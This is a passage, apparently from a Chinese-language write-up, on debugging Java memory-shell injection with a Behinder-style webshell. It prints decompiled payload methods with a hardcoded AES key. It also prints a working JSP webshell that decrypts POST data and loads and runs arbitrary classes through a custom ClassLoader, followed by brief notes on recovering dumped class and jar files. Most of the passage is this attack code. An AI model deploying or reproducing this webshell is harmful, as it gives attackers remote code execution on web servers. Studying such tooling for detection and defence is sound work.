private String buildJsonArray(List<Map<String, String>> list, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
sb.append("[");
Iterator var4 = list.iterator();
while(var4.hasNext()) {
Map<String, String> entity = (Map)var4.next();
sb.append(this.buildJson(entity, encode) + ",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("]");
return sb.toString();
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
注入成功
2.4. 调试内存马
测试注入内存马时,产生了多少数据包(注意:调试内存马时需要将U类单独分开)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="com.example.java_neicunma.U" %>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
byte[] bytes = new BASE64Decoder().decodeBuffer(request.getReader().readLine());
System.out.println("bytes: " + new String(bytes));
byte[] finalBytes = c.doFinal(bytes);
System.out.println("finalBytes: " + new String(finalBytes));
FileOutputStream fileOutputStream = new FileOutputStream("C:\\Users\\hunter\\IdeaProjects\\java_neicunma\\src\\main\\webapp\\res_20231107_" + U.cnt + ".class");
fileOutputStream.write(finalBytes);
fileOutputStream.close();
new U(this.getClass().getClassLoader()).g(finalBytes).newInstance().equals(pageContext);
}
%>
package com.example.java_neicunma;
public class U extends ClassLoader {
public static int cnt = 0;
public U(ClassLoader c) {
super(c);
++cnt;
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
设置条件U.cnt==26
调用删除方法
执行删除
打开临时文件,百度搜索了解到,PK
文件是一种类型的压缩格式文件
将前面保存的临时文件复制,后缀名改成.zip
格式
2.5. debug
步骤
通过上传多个数据包,往临时文件目录写入一个lib
文件,该文件为一个对应的jar
类型的压缩包